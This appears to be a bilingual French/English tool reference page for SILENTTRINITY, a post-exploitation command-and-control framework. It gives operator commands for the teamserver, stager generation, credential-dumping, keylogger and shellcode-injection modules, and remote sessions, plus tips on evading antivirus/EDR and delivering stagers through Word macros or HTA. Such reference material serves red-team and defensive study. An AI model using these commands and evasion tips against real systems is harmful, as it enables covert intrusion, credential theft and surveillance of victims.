← retour aux outils back to tools

# silenttrinity

Framework C2 de post-exploitation basé sur Python/IronPython. Utilise .NET et IronPython pour exécuter des payloads en mémoire sur des cibles Windows : échappe aux AV en exécutant des stagers Python entièrement dans le runtime .NET. Python/IronPython-based post-exploitation C2 framework. Uses .NET and IronPython to execute in-memory payloads on Windows targets — evades AV by running Python-based stagers entirely in .NET runtime.

↗ https://github.com/byt3bl33d3r/SILENTTRINITY

## Overview

SILENTTRINITY is a post-exploitation C2 framework that leverages IronPython and the .NET DLR (Dynamic Language Runtime) to run Python-based payloads entirely in memory. Its unique approach avoids common AV/EDR signatures by using .NET’s scripting capabilities.

## Installation

    # Clone the repository
    git clone https://github.com/byt3bl33d3r/SILENTTRINITY
    cd SILENTTRINITY
    pip3 install -r requirements.txt

## Starting the Teamserver

Start the C2 server

    python3 st.py teamserver 0.0.0.0 PASSWORD

    # Default port: 5000 (WebSocket)
    # Access via the client

## Client Connection

Connect to teamserver

    python3 st.py client wss://TEAMSERVER_IP:5000

With SSL certificate

    python3 st.py client wss://TEAMSERVER_IP:5000 --cert ca.pem

## Generating Stagers

In the SILENTTRINITY client:

    st > stagers

List available stagers

    st (stagers) > list

    # Generate an HTTP stager
    st (stagers) > use http
    st (stagers)(http) > generate http://TEAMSERVER:PORT

    # Common stager types:
    # http    — HTTP beacon
    # https   — HTTPS beacon
    # wscript — VBScript stager
    # powershell — PS stager
    # msbuild — MSBuild XML stager

## Modules

    # List available modules
    st > modules
    st (modules) > list

    # Common modules:
    # boo/whoami           — current user info
    # boo/seatbelt         — situational awareness
    # boo/mimikatz         — credential dumping
    # boo/sharpup          — privilege escalation
    # boo/screenshot       — capture screen
    # boo/keylogger        — keylogger
    # boo/shellcode_inject — shellcode injection

    # Run a module on a session
    st (modules) > use boo/whoami
    st (modules)(whoami) > run SESSION_ID

## Session Management

    # List active sessions
    st > sessions
    st (sessions) > list

Interact with a session

    st (sessions) > interact SESSION_ID

    # Run command
    st (sessions)(SESSION_ID) > shell whoami
    st (sessions)(SESSION_ID) > shell ipconfig /all

## Tips

- IronPython execution leaves minimal .NET artifacts — harder to detect than PowerShell
- All modules are written in Boo (a .NET scripting language) — run in CLR without touching disk
- Combine with obfuscated stager delivery (Word macro, HTA, etc.)
- The WebSocket C2 channel can blend into HTTPS traffic with a valid cert
- For modern environments with EDR, pair with additional obfuscation layers

Help / Man page

    SILENTTRINITY components:

    Teamserver:
      python3 st.py teamserver BIND_ADDR PASSWORD [--port N]

    Client:
      python3 st.py client wss://HOST:PORT

    Client commands:
      stagers   — manage stager generation
      listeners — manage C2 listeners
      modules   — available post-ex modules
      sessions  — manage active sessions
      teamservers — connected teamservers

## Vue d’ensemble

SILENTTRINITY est un framework C2 de post-exploitation qui s’appuie sur IronPython et le DLR (Dynamic Language Runtime) .NET pour exécuter des payloads basés sur Python entièrement en mémoire. Son approche originale évite les signatures AV/EDR courantes en utilisant les capacités de script de .NET.

## Installation

    # Cloner le dépôt
    git clone https://github.com/byt3bl33d3r/SILENTTRINITY
    cd SILENTTRINITY
    pip3 install -r requirements.txt

## Démarrer le teamserver

    # Démarrer le serveur C2
    python3 st.py teamserver 0.0.0.0 PASSWORD

    # Port par défaut : 5000 (WebSocket)
    # Accès via le client

## Connexion du client

    # Se connecter au teamserver
    python3 st.py client wss://TEAMSERVER_IP:5000

    # Avec certificat SSL
    python3 st.py client wss://TEAMSERVER_IP:5000 --cert ca.pem

## Génération de stagers

Dans le client SILENTTRINITY :

    st > stagers

    # Lister les stagers disponibles
    st (stagers) > list

    # Générer un stager HTTP
    st (stagers) > use http
    st (stagers)(http) > generate http://TEAMSERVER:PORT

    # Types de stagers courants :
    # http    : beacon HTTP
    # https   : beacon HTTPS
    # wscript : stager VBScript
    # powershell : stager PS
    # msbuild : stager MSBuild XML

## Modules

    # Lister les modules disponibles
    st > modules
    st (modules) > list

    # Modules courants :
    # boo/whoami           : infos sur l'utilisateur actuel
    # boo/seatbelt         : reconnaissance de situation
    # boo/mimikatz         : dump d'identifiants
    # boo/sharpup          : élévation de privilèges
    # boo/screenshot       : capture d'écran
    # boo/keylogger        : keylogger
    # boo/shellcode_inject : injection de shellcode

    # Lancer un module sur une session
    st (modules) > use boo/whoami
    st (modules)(whoami) > run SESSION_ID

## Gestion des sessions

    # Lister les sessions actives
    st > sessions
    st (sessions) > list

    # Interagir avec une session
    st (sessions) > interact SESSION_ID

    # Lancer une commande
    st (sessions)(SESSION_ID) > shell whoami
    st (sessions)(SESSION_ID) > shell ipconfig /all

## Conseils

- L’exécution IronPython laisse peu de traces .NET : plus difficile à détecter que PowerShell
- Tous les modules sont écrits en Boo (un langage de script .NET) : exécutés dans le CLR sans toucher le disque
- Combiner avec une livraison de stager obfusquée (macro Word, HTA, etc.)
- Le canal C2 WebSocket peut se fondre dans le trafic HTTPS avec un certificat valide
- Pour les environnements modernes avec EDR, associer à des couches d’obfuscation supplémentaires

Aide / Page de manuel

    SILENTTRINITY components:

    Teamserver:
      python3 st.py teamserver BIND_ADDR PASSWORD [--port N]

    Client:
      python3 st.py client wss://HOST:PORT

    Client commands:
      stagers   — manage stager generation
      listeners — manage C2 listeners
      modules   — available post-ex modules
      sessions  — manage active sessions
      teamservers — connected teamservers